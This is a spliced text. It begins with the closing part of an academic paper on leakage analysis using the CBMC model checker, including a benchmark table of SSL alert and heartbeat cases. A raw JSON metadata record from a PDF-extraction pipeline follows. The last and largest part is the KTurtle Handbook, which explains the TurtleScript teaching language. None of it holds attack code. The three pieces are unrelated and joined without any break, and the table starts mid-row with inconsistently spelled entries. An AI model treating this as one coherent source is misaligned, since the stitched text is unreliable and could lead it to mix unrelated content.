dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>1026.1</td> <td>10.4</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>933.0</td> <td>10.3</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>600.2</td> <td>7.0</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>552.4</td> <td>7.0</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>1603.7</td> <td>11.3</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>1465.1</td> <td>11.3</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>1.1</td> <td>0.0</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>1.4</td> <td>0.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>1.6</td> <td>0.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>1.4</td> <td>0.0</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>21.5</td> <td>0.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>14.9</td> <td>0.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>15.3</td> <td>0.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>20.0</td> <td>0.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>158.1</td> <td>4.1</td> </tr> <tr> <td>ssl3 dispatch_alert_18_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_CRANDOM_LOW_32</td> <td>✓</td> <td>222.7</td> <td>4.1</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>3.0</td> <td>0.1</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>3.7</td> <td>0.1</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>2.8</td> <td>0.1</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>10.1</td> <td>0.2</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>3.2</td> <td>0.0</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>8.8</td> <td>0.2</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>1.7</td> <td>0.0</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>8.1</td> <td>0.2</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>4.7</td> <td>0.0</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>5.5</td> <td>0.2</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>11.8</td> <td>0.2</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>1.4</td> <td>0.0</td> </tr> <tr> <td>tssl1 heartbeat__102_C_HTTP_SEQ_HIGH_C_HTTP_SEQ_HIGH_C_RANDOM_LOW_32</td> <td>✓</td> <td>5.1</td> <td>0.2</td> </tr> </tbody> </table> Table 1. Benchmarks results obtained using CBMC 5.0; ✓ is successful (bounded) verification, X denotes a counterexample. As it is based on the bounded model checker CBMC, the approach is in general bounded. In some simple, yet crucial, case we were able to overcome this limitation by encoding loops with quantified formulae. However a general automated translation from loops to quantified formulae is a challenging problem and a topic left for further research. The analysis is not completely automatic but it requires some simple annotations by the user: public, secret, and observable data. The driver also requires some user effort, but it follows a simple pattern easy to implement. Also for a given specific software contexts the driver can be automated. While the methodology is completely general there may be some limitation introduced by the implementation platform. For example CBMC provides limited support for string manipulation functions. Hence it may return false positive when analyzing leakage from string formatting attacks involving uninterpreted functions in CBMC. Acknowledgments This research was supported by EPSRC grant EP/K032011/1 References 7. Coverity: www.coverity.com 11. HP/Fortify: saas.hp.com/software/fortify-on-demand 12. Klokwork: www.klokwork.com 22. Valgrind: valgrind.org
{"Source-Url": "https://qmro.qmul.ac.uk/xmlui/bitstream/handle/123456789/13880/Malacaria%20Information%20leakage%20analysis%202016%20Accepted.pdf?sequence=1", "len_cl100k_base": 12169, "olmocr-version": "0.1.50", "pdf-total-pages": 18, "total-fallback-pages": 0, "total-input-tokens": 48408, "total-output-tokens": 13617, "length": "2e13", "weborganizer": {"__label__adult": 0.0004870891571044922, "__label__art_design": 0.0003020763397216797, "__label__crime_law": 0.0009393692016601562, "__label__education_jobs": 0.0003674030303955078, "__label__entertainment": 6.824731826782227e-05, "__label__fashion_beauty": 0.0001773834228515625, "__label__finance_business": 0.0002186298370361328, "__label__food_dining": 0.0004146099090576172, "__label__games": 0.0007562637329101562, "__label__hardware": 0.0018177032470703125, "__label__health": 0.0007081031799316406, "__label__history": 0.00022220611572265625, "__label__home_hobbies": 0.0001087188720703125, "__label__industrial": 0.0004591941833496094, "__label__literature": 0.0002837181091308594, "__label__politics": 0.0003421306610107422, "__label__religion": 0.0005068778991699219, "__label__science_tech": 0.0312042236328125, "__label__social_life": 9.340047836303712e-05, "__label__software": 0.005725860595703125, "__label__software_dev": 0.95361328125, "__label__sports_fitness": 0.0003292560577392578, "__label__transportation": 0.0006189346313476562, "__label__travel": 0.000186920166015625}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 49024, 0.04161]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 49024, 0.35226]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 49024, 0.84544]], "google_gemma-3-12b-it_contains_pii": [[0, 632, false], [632, 2992, null], [2992, 6313, null], [6313, 8655, null], [8655, 10601, null], [10601, 13660, null], [13660, 16871, null], [16871, 19575, null], [19575, 22146, null], [22146, 24027, null], [24027, 26968, null], [26968, 29944, null], [29944, 32229, null], [32229, 35855, null], [35855, 38481, null], [38481, 44744, null], [44744, 47485, null], [47485, 49024, null]], "google_gemma-3-12b-it_is_public_document": [[0, 632, true], [632, 2992, null], [2992, 6313, null], [6313, 8655, null], [8655, 10601, null], [10601, 13660, null], [13660, 16871, null], [16871, 19575, null], [19575, 22146, null], [22146, 24027, null], [24027, 26968, null], [26968, 29944, null], [29944, 32229, null], [32229, 35855, null], [35855, 38481, null], [38481, 44744, null], [44744, 47485, null], [47485, 49024, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 49024, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 49024, null]], "pdf_page_numbers": [[0, 632, 1], [632, 2992, 2], [2992, 6313, 3], [6313, 8655, 4], [8655, 10601, 5], [10601, 13660, 6], [13660, 16871, 7], [16871, 19575, 8], [19575, 22146, 9], [22146, 24027, 10], [24027, 26968, 11], [26968, 29944, 12], [29944, 32229, 13], [32229, 35855, 14], [35855, 38481, 15], [38481, 44744, 16], [44744, 47485, 17], [47485, 49024, 18]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 49024, 0.19304]]}
olmocr_science_pdfs
2024-11-30
2024-11-30
63fc1d5508177167f381c0ad1e662904e1ee0388
The KTurtle Handbook Cies Breijs Anne-Marie Mahfouf Mauricio Piacentini The KTurtle Handbook # Contents 1 Introduction .......................... 7 1.1 What is TurtleScript? ................. 7 1.2 Features of KTurtle .................. 7 2 Using KTurtle ......................... 9 2.1 The Editor .......................... 9 2.2 The Canvas ......................... 10 2.3 The Inspector ...................... 10 2.4 The Toolbar ......................... 10 2.5 The Menubar ......................... 10 2.5.1 The File Menu .................. 10 2.5.2 The Edit Menu .................. 11 2.5.3 The Canvas Menu ............... 12 2.5.4 The Run Menu ................. 12 2.5.5 The Tools Menu ............... 13 2.5.6 The Settings Menu ........... 13 2.5.7 The Help Menu ............... 14 2.6 The Statusbar ...................... 14 3 Getting Started ...................... 15 3.1 First steps with TurtleScript: meet the Turtle! .................. 15 3.1.1 The Turtle Moves ............... 15 3.1.2 More examples .................. 16 4 TurtleScript Programming Reference 18 4.1 The Grammar of TurtleScript ........ 18 4.1.1 Comments ....................... 18 4.1.2 Commands ....................... 19 4.1.3 Numbers ......................... 19 4.1.4 Strings ......................... 19 4.1.5 Boolean (true/false) values .. 19 4.2 Mathematical, boolean and comparing operators .................. 20 4.2.1 Mathematical operators ....... 20 4.2.2 Boolean (true/false) operators ........................................ 20 4.2.2.1 Some more advanced examples ................................. 21 4.2.3 Comparing operators .................................................... 21 4.3 Commands ................................................................. 22 4.3.1 Moving the turtle ....................................................... 22 4.3.2 Where is the turtle? .................................................... 24 4.3.3 The turtle has a pen .................................................... 24 4.3.4 Commands to control the canvas ................................ 25 4.3.5 Commands to clean up ................................................. 25 4.3.6 The turtle is a sprite ................................................... 26 4.3.7 Can the turtle write? ................................................... 26 4.3.8 Mathematical commands ............................................. 27 4.3.9 Input and feedback through dialogs ............................. 28 4.4 Assignment of variables .................................................. 29 4.5 Controlling execution .................................................... 29 4.5.1 Have the turtle wait ..................................................... 30 4.5.2 Execute ‘if’ ............................................................... 30 4.5.3 If not, in other words: ‘else’ ......................................... 30 4.5.4 The ‘while’ loop ........................................................ 31 4.5.5 The ‘repeat’ loop ....................................................... 31 4.5.6 The ‘for’ loop, a counting loop .................................... 31 4.5.7 Leave a loop ............................................................. 32 4.5.8 Stop executing your program ....................................... 32 4.5.9 Checking assertions at runtime .................................... 32 4.6 Create your own commands with ‘learn’ ............................ 32 5 Glossary ................................................................. 34 6 Translator’s Guide to KTurtle ........................................... 37 7 Credits and License .......................................................... 38 8 Index ................................................................. 39 List of Tables 4.1 Types of questions ................................................................. 22 5.1 Different types of code and their highlight color ......................... 36 5.2 Often used RGB combinations ................................................. 36 Abstract KTurtle is an educational programming environment that aims to make learning how to program as easy as possible. To achieve this KTurtle makes all programming tools available from the user interface. The programming language used is TurtleScript which allows its commands to be translated. Chapter 1 Introduction KTurtle is an educational programming environment that uses TurtleScript, a programming language loosely based on and inspired by Logo. The goal of KTurtle is to make programming as easy and accessible as possible. This makes KTurtle suitable for teaching kids the basics of math, geometry and... programming. One of the main features of TurtleScript is the ability to translate the commands into the speaking language of the programmer. KTurtle is named after ‘the turtle’ that plays a central role in the programming environment. The student will usually instruct the turtle, using the TurtleScript commands, to make a drawing on the canvas. 1.1 What is TurtleScript? TurtleScript, the programming language used in KTurtle, is inspired by the Logo family of programming languages. The first version of Logo was created by Seymour Papert of MIT Artificial Intelligence Laboratory in 1967 as an offshoot of the LISP programming language. From then many versions of Logo have been released. By 1980 Logo was gaining momentum, with versions for MSX, Commodore, Atari, Apple II and IBM PC systems. These versions were mainly for educational purposes. The MIT is still maintains a website on Logo containing a list of several popular implementation of the language. TurtleScript shares a feature found in many other implementations of Logo: the ability to translate the commands to suit the native language of the student. This feature makes it easier for students that have no or little understanding of English to get started. Besides this feature KTurtle has many other features aimed at easing the students initial experience with programming. 1.2 Features of KTurtle KTurtle has some nice features that make starting to program a breeze. See here some of the highlights of KTurtle feature set: - An integrated environment with TurtleScript interpreter, editor, canvas and other tools all in one application (no extra dependencies). - The ability to translate the TurtleScript commands using the translation framework of KDE. - TurtleScript supports user defined functions, recursion and dynamic type switching. - The execution can be slowed down, paused or stopped at any time. The KTurtle Handbook - A powerful editor featuring intuitive syntax highlighting, line numbering, error markers, visual execution and more. - The canvas, where the turtle draws, can be printed or saved either as an image (PNG) or a drawing (SVG). - Context help: help where you need it. Just press F2 (or see Help → Help on: ...) to get help on the piece of code currently under your cursor. - An error dialog that links the error messages to the mistakes in the program and marks them red. - Simplified programming terminology. - Integrated example programs to make it easy to get started. These examples are translated using KDE translation framework. Chapter 2 Using KTurtle The main window of KTurtle has three main parts: the editor (1) on the left where you type the TurtleScript commands, the canvas (2) on the right where the turtle make your drawing, and the inspector (3) which gives you information when your program executes. Besides these you find the menu bar (5) from where all the actions can be reached, the toolbar (4) that allows you to quickly select the most used actions, the Console: input box, that you can use to enter a one line command to test it, and the statusbar (along the bottom of the window) where you will find feedback on the state of KTurtle. 2.1 The Editor In the editor you type the TurtleScript commands. Most of functions of the editor can be found in the File and Edit menus. The editor can be docked on each border of the main window or it can be detached and placed anywhere on your desktop. You have several ways to get some code in the editor. The easiest way is to use an example: choose the File → Examples submenu and select an example. The file example you choose will be opened in the editor, you can then use the Run → Run menu item (shortcut: Alt+F2) or the Run button from the toolbar to run the code if you like. You can open TurtleScript files by choosing the File → Open... menu item. The KTurtle Handbook The third way is to directly type your own code in the editor or to copy/paste some code. 2.2 The Canvas The canvas is the domain of the turtle, here the turtle draws according to the commands it gets. After getting some code in the Editor and executing it, two things can happen: either the code executes fine, and you will most likely see something change on the canvas; or you have made an error in your code in that case the error tab will appear explaining you what mistake you made. You can zoom in and out the canvas with your mouse wheel. 2.3 The Inspector The inspector informs you about the variables, the learned functions and show the code tree while the program is running. The inspector can be docked on each border of the main window or it can be detached and placed anywhere on your desktop. 2.4 The Toolbar Here you can quickly reach the most used actions. The Toolbar also contains the Console: input box, where you can quickly invoke commands, this might be useful in case you want to test a command without modifying the content of the Editor. You can configure the toolbar using Settings → Configure Toolbars... to better fit your preferences. 2.5 The Menubar In the menubar you find all the actions of KTurtle. They are in the following groups: File, Edit, Canvas, Run, Tools, Settings, and Help. This section describes them all. 2.5.1 The File Menu File → New (Ctrl-N) Creates a new, empty TurtleScript file. File → Open... (Ctrl-O) Opens a TurtleScript file. File → Open Recent Opens a TurtleScript file that has been opened recently. File → Examples Open example TurtleScript programs. The examples are in your favorite language that you can choose in the Settings → Script Language submenu. File → Get more examples... Open the Get Hot New Stuff dialog to download additional TurtleScript files from the Internet. File → Save (Ctrl-S) Saves the currently opened TurtleScript file. File → Save As... (Ctrl-Shift-S) Saves the currently opened TurtleScript file on a specified location. File → Export to HTML... Exports the current content of the Editor as an HTML file that includes highlighting colors. File → Print... (Ctrl-P) Prints the current code in the editor. File → Quit (Ctrl-Q) Quits KTurtle. 2.5.2 The Edit Menu Edit → Undo (Ctrl-Z) Undoes the last change to code. KTurtle has unlimited undos. Edit → Redo (Ctrl-Shift-Z) Redoes an undone change to the code. Edit → Cut (Ctrl-X) Cuts the selected text from the editor to the clipboard. Edit → Copy (Ctrl-C) Copies the selected text from the editor to the clipboard. The KTurtle Handbook **Edit → Paste (Ctrl-V)** Pastes the text from the clipboard to the editor. **Edit → Select All (Ctrl-A)** Selects all the text from the editor. **Edit → Find... (Ctrl-F)** With this action you can find phrases in the code. **Edit → Find Next (F3)** Use this to find the next occurrence of the phrase you searched for. **Edit → Find Previous (Shift-F3)** Use this to find the previous occurrence of the phrase you searched for. **Edit → Overwrite Mode (Ins)** Toggle between the ‘insert’ and ‘overwrite’ mode. ### 2.5.3 The Canvas Menu **Canvas → Export to Image (PNG)...** Exports the current content of the Canvas as a raster image of the PNG (Portable Network Graphics) type. **Canvas → Export to Drawing (SVG)...** Exports the current content of the Canvas as a vector drawing of the SVG (Scalable Vector Graphics) type. **Canvas → Print Canvas...** Prints the current content of the Canvas. ### 2.5.4 The Run Menu **Run → Run (F5)** Starts the execution of the commands in the editor. **Run → Pause (F6)** Pauses the execution. This action is only enabled when the commands are actually executing. Run → Abort (F7) Stops the execution. This action is only enabled when the commands are actually executing. Run → Run Speed Present a list of possible execution speeds, consisting of: **Full Speed (no highlighting and inspector), Full Speed, Slow, Slower, Slowest** and **Step-by-Step**. When the execution speed is set to **Full Speed** (default) we can barely keep up with what is happening. Sometimes this behavior is wanted, but sometimes we want to keep track of the execution. In the latter case you want to set the execution speed to **Slow, Slower or Slowest**. When one of the slow modes is selected the current position of the executor will be shown in the editor. **Step-by-Step** will execute one command at a time. 2.5.5 The Tools Menu Tools → Direction Chooser... This action opens the direction chooser dialog. Tools → Color Picker... This action opens the color picker dialog. 2.5.6 The Settings Menu Settings → Script Language Choose the language for the code. Settings → Show Editor (Ctrl-E) Show or hide the Editor. Settings → Show Inspector (Ctrl-I) Show or hide the inspector. Settings → Show Errors Show or hide the Errors tab with a list of errors resulting from running the code. If this option is enabled, click on Canvas to see the turtle again. Settings → Show Line Numbers (F11) With this action you can show the line numbers in the editor. This can be handy for finding errors. The KTurtle Handbook **Settings → Show Toolbar** Toggle the Main Toolbar. **Settings → Show Statusbar** Toggle the Statusbar. **Settings → Configure Shortcuts...** Standard KDE dialog to configure the shortcuts. **Settings → Configure Toolbars...** The standard KDE dialog for configuring the toolbars. ### 2.5.7 The Help Menu KTurtle has a default KDE **Help** menu as described in the KDE Fundamentals with one additional entry: **Help → Help on: ... (F2)** This is a very useful function: it provides help on the code where the cursor in the editor is at. So, e.g., you have used the `print` command in your code, and you want to read and to know what the handbook says on this command. You just move your cursor so it is in the `print` command and you press **F2**. The handbook will then show all info on the `print` command. This function can prove to be useful while learning TurtleScript. ### 2.6 The Statusbar On the status bar you get feedback of the state of KTurtle. On the left side it shows the feedback on the last action. On the right side you find the current location of the cursor (line and column numbers). In the middle of the status bar is indicated the current language used for the commands. Chapter 3 Getting Started When you start KTurtle you will see something like this: In this Getting Started guide we assume that the language of the TurtleScript commands is English. You can change this language with the Settings → Script Language submenu. Be aware that the language you set here for KTurtle is the one you use to type the TurtleScript commands, not the language used by KDE on your computer and used to display the KTurtle interface and menus. 3.1 First steps with TurtleScript: meet the Turtle! You must have noticed the turtle in the middle of the canvas: you are just about to learn how to control it using commands in the editor. 3.1.1 The Turtle Moves Let us start by getting the turtle moving. Our turtle can do 3 types of moves, (1) it can move forwards and backwards, (2) it can turn left and right and (3) it can go (jump) directly to a position on the screen. Try this for example: Type or copy-paste the code to the editor and execute it (using Run → Run) to see the result. When you typed and executed the commands like above in the editor you might have noticed one or more of the following things: 1. That — after executing the commands — the turtle moves up, draws a line, and then turns a quarter turn to the left. This because you have used the `forward` and the `turnleft` commands. 2. That the color of the code changed while you where typing it: this feature is called intuitive highlighting — different types of commands are highlighted differently. This makes reading large blocks of code more easy. 3. That the turtle draws a thin black line. 4. Maybe you got an error message. This could simply mean two things: you could have made a mistake while copying the commands, or you should still set the correct language for the TurtleScript commands (you can do that by choosing the Settings → Script Language submenu). You will likely understand that `forward 100` instructed the turtle to move forward leaving a line, and that `turnleft 90` instructed the turtle to turn 90 degrees to the left. Please see the following links to the reference manual for a complete explanation of the new commands: `forward`, `backward`, `turnleft`, and `turnright`. ### 3.1.2 More examples The first example was very simple, so let us go on! ``` reset canvassize 200,200 canvascolor 0,0,0 pencolor 255,0,0 penwidth 5 go 20,20 direction 135 forward 200 turnleft 135 forward 100 turnleft 135 forward 141 turnleft 135 forward 100 turnleft 45 go 40,100 ``` Again you can type or copy-paste the code to the editor or open the arrow example in the Examples submenu and execute it (using Run → Run) to see the result. In the next examples you are expected to know the drill. You might have noticed that this second example uses a lot more code. You have also seen a couple of new commands. Here a short explanation of all the new commands: After a `reset` command everything is like is was when you had just started KTurtle. - **canvassize 200,200** sets the canvas width and height to 200 pixels. The width and the height are equal, so the canvas will be a square. - **canvascolor 0,0,0** makes the canvas black. 0,0,0 is a RGB-combination where all values are set to 0, which results in black. - **pencolor 255,0,0** sets the color of the pen to red. 255,0,0 is a RGB-combination where only the red value is set to 255 (fully on) while the others (green and blue) are set to 0 (fully off). This results in a bright shade of red. If you do not understand the color values, be sure to read the glossary on RGB-combination. - **penwidth 5** sets the width (the size) of the pen to 5 pixels. From now on every line the turtle draw will have a thickness of 5, until we change the penwidth to something else. - **go 20,20** commands the turtle to go to a certain place on the canvas. Counted from the upper left corner, this place is 20 pixels across from the left, and 20 pixels down from the top of the canvas. Note that using the go command the turtle will not draw a line. - **direction 135** set the turtle’s direction. The turnleft and turnright commands change the turtle’s angle starting from its current direction. The direction command changes the turtle’s angle from zero, and thus is not relative to the turtle previous direction. After the direction command a lot of forward and turnleft commands follow. These command do the actual drawing. At last another go command is used to move the turtle aside. Make sure you follow the links to the reference. The reference explains each command more thoroughly. Chapter 4 TurtleScript Programming Reference This is the reference for KTurtle’s TurtleScript. In the first section of this chapter have a look at some aspects of the grammar of TurtleScript programs. The second section deals exclusively with mathematical operators, boolean (true/false) operators and comparison operators. The third section is basically a giant list of all commands explaining them one-by-one. Section four explains how to assign values to variables. Finally we explain how to arrange the execution of commands with execution controlling statements in section five and how to create you own commands with learn in section six. 4.1 The Grammar of TurtleScript As in any language, TurtleScript has different types of words and symbols. In English we distinguish verbs (like ‘to walk’ or ‘to sing’) and nouns (like ‘sister’ or ‘house’), they are used for different purposes. TurtleScript is a programming language, it is used to instruct KTurtle what to do. In this section some of TurtleScript’s different types of words and symbols are briefly explained. We explain comments, commands and the three different kinds of literals: numbers, strings and boolean (true/false) values. 4.1.1 Comments A program consists instructions that are executed when the program is run and so called comments. Comments are not executed, KTurtle simply ignores them when executing your program. Comment are there for other programmers to make them understand your program better. Everything that follows on a # symbol is considered a comment in TurtleScript. For example this little program that does nothing: ``` # this little program does nothing, it is only a comment! ``` It is a bit useless but it explain the matter well. Comments get very useful when the program gets a little bit more complex. It can help to give some advice to other programmers. In the following program you see comments being used together with the print command. ``` # this program has been made by Cies Breijs. print "this text will get printed on the canvas" # the previous line is not a comment, but the next line is: # print "this text will not get printed!" ``` The first line describes the program. The second line is executed by KTurtle and prints \textit{this text will get printed on the canvas} on the canvas. The third line is a comment. And the forth line is a comment that contains a piece of TurtleScript, if the \# symbol would be removed on the fourth line the print statement will we executed by KTurtle. Programmers say: the print statement on the fourth line is ‘commented out’. Commented lines are highlighted with light gray in the code editor. \section*{4.1.2 Commands} Using commands you tell the turtle or KTurtle to do something. Some commands need input, some give output. \begin{verbatim} \# forward is a command that needs input, in this case the number 100: forward 100 \end{verbatim} The first line is a comment. The second line contains the \texttt{forward} command and the number \texttt{100}. The number is not part of command, it is considered ‘input’ for the command. Some commands like e.g. \texttt{go} need more than one input value. Multiple values have to be separated using the \texttt{,} character (comma). For a detailed overview of all commands that KTurtle supports go \url{here}. Built-in commands are highlighted in dark blue. \section*{4.1.3 Numbers} Most likely you already know quite a bit about numbers. The way numbers are used in KTurtle is not much different from spoken language, or math. We have the so called natural numbers: \texttt{0, 1, 2, 3, 4, 5}, etc. The negative numbers: \texttt{-1, -2, -3}, etc. And the numbers with decimals, or dot-numbers, for example: \texttt{0.1, 3.14, 33.3333, -5.05, -1.0}. The \texttt{.} character (dot) is used as decimal separator. Numbers can be used in \texttt{mathematical operators} and \texttt{comparison operators}. They can also be stored in \texttt{variables}. Numbers are highlighted in dark red. \section*{4.1.4 Strings} First an example: \begin{verbatim} print "Hello, I’m a string." \end{verbatim} In this example \texttt{print} is a command where \texttt{"Hello, I’m a string."} is a string. Strings start and end with the \texttt{"} mark, by these marks KTurtle knows it is a string. Strings can be put in \texttt{variables}, just like \texttt{numbers}. Yet, unlike numbers, strings cannot be used in \texttt{mathematical operators} or \texttt{comparison operators}. Strings are highlighted with red. \section*{4.1.5 Boolean (true/false) values} There are only two boolean values: \texttt{true} and \texttt{false}. Sometimes they are also called: \texttt{‘on’} and \texttt{‘off’}, \texttt{‘yes’} and \texttt{‘no’}, \texttt{‘one’} and \texttt{‘zero’}. But in TurtleScript we call them, always, \texttt{true} and \texttt{false}. Have a look at this piece of TurtleScript: \begin{verbatim} $a = true \end{verbatim} If you look in the inspector you can see that the variable $a$ is set to true, and has the boolean type. Often boolean values are the result of a comparison operator, like in the following piece of TurtleScript: ``` $answer = 10 > 3 ``` The variable $answer$ is set to true because 10 is larger than 3. Boolean values, true and false, are highlighted with dark red. ## 4.2 Mathematical, boolean and comparing operators The title of this section might sound very difficult, yet it is not as difficult as it sound. ### 4.2.1 Mathematical operators These are the basic math symbols known as: add (+), subtract (−), multiply (∗), divide (/) and power (°). Here a small example of the mathematical operators you can use in TurtleScript: ``` $add = 1 + 1 $subtract = 20 - 5 $multiply = 15 * 2 $divide = 30 / 30 $power = 2 ^ 2 ``` The values resulting from the mathematical operations get assigned to various variables. Using the inspector you can see the values. If you just want a simple calculation to be done you can do something like this: ``` print 2010-12 ``` Now an example with parentheses: ``` print ( (20 - 5) * 2 / 30 ) + 1 ``` The expressions inside parentheses will be calculated first. In this example, 20-5 will be calculated, then multiplied by 2, divided by 30, and then 1 is added (giving 2). Parentheses can also be used in other cases. KTurtle also has more advanced mathematical features in the form of commands. Have a look at the following commands but be aware that it concerns advanced operations: round, random, sqrt, pi, sin, cos, tan, arcsin, arccos, arctan. ### 4.2.2 Boolean (true/false) operators Where mathematical operators are mainly for numbers, boolean operators are for boolean values (true and false). There are only three boolean operators, namely: and, or, and not. The following piece of TurtleScript shows how to use them: ### 4.2.2.1 Some more advanced examples Consider the following example with **and**: ```turtle $a = 1 $b = 5 if (($a < 10) and ($b == 5)) and ($a < $b) { print "hello" } ``` In this piece of TurtleScript the result of three **comparing operators** are merged using **and** operators. This means that all three have to evaluate ‘true’ in order for the ‘hello’ to be printed. An example with **or**: ```turtle $n = 1 if ($n < 10) or ($n == 2) { print "hello" } ``` In this piece of TurtleScript the left side of the **or** is evaluating to ‘true’, the right side to ‘false’. Since one of the two sides of the **or** operator is ‘true’, the **or** operator evaluates ‘true’. That means ‘hello’ gets printed. And finally an example with **not** which changes ‘true’ into ‘false’ and ‘false’ into ‘true’. Have a look: ```turtle $n = 1 if not ($n == 3) { print "hello" } else { print "not hello ;-)" } ``` ### 4.2.3 Comparing operators Consider this simple comparison: Here $10$ is compared to $3$ with the ‘greater than’ operator. The result of this comparison, the boolean value true is stored in the variable $answer$. All numbers and variables (that contain numbers) can be compared to each other with comparing operators. Here are all possible comparing operators: <table> <thead> <tr> <th>Operator</th> <th>Description</th> <th>Truth Value</th> </tr> </thead> <tbody> <tr> <td>$A == B$</td> <td>equals</td> <td>$answer$ is true if $A$ equals $B$</td> </tr> <tr> <td>$A != B$</td> <td>not-equals</td> <td>$answer$ is true if $A$ does not equal $B$</td> </tr> <tr> <td>$A &gt; B$</td> <td>greater than</td> <td>$answer$ is true if $A$ is greater than $B$</td> </tr> <tr> <td>$A &lt; B$</td> <td>smaller than</td> <td>$answer$ is true if $A$ is smaller than $B$</td> </tr> <tr> <td>$A &gt;= B$</td> <td>greater than or equals</td> <td>$answer$ is true if $A$ is greater than or equals $B$</td> </tr> <tr> <td>$A &lt;= B$</td> <td>smaller than or equals</td> <td>$answer$ is true if $A$ is smaller than or equals $B$</td> </tr> </tbody> 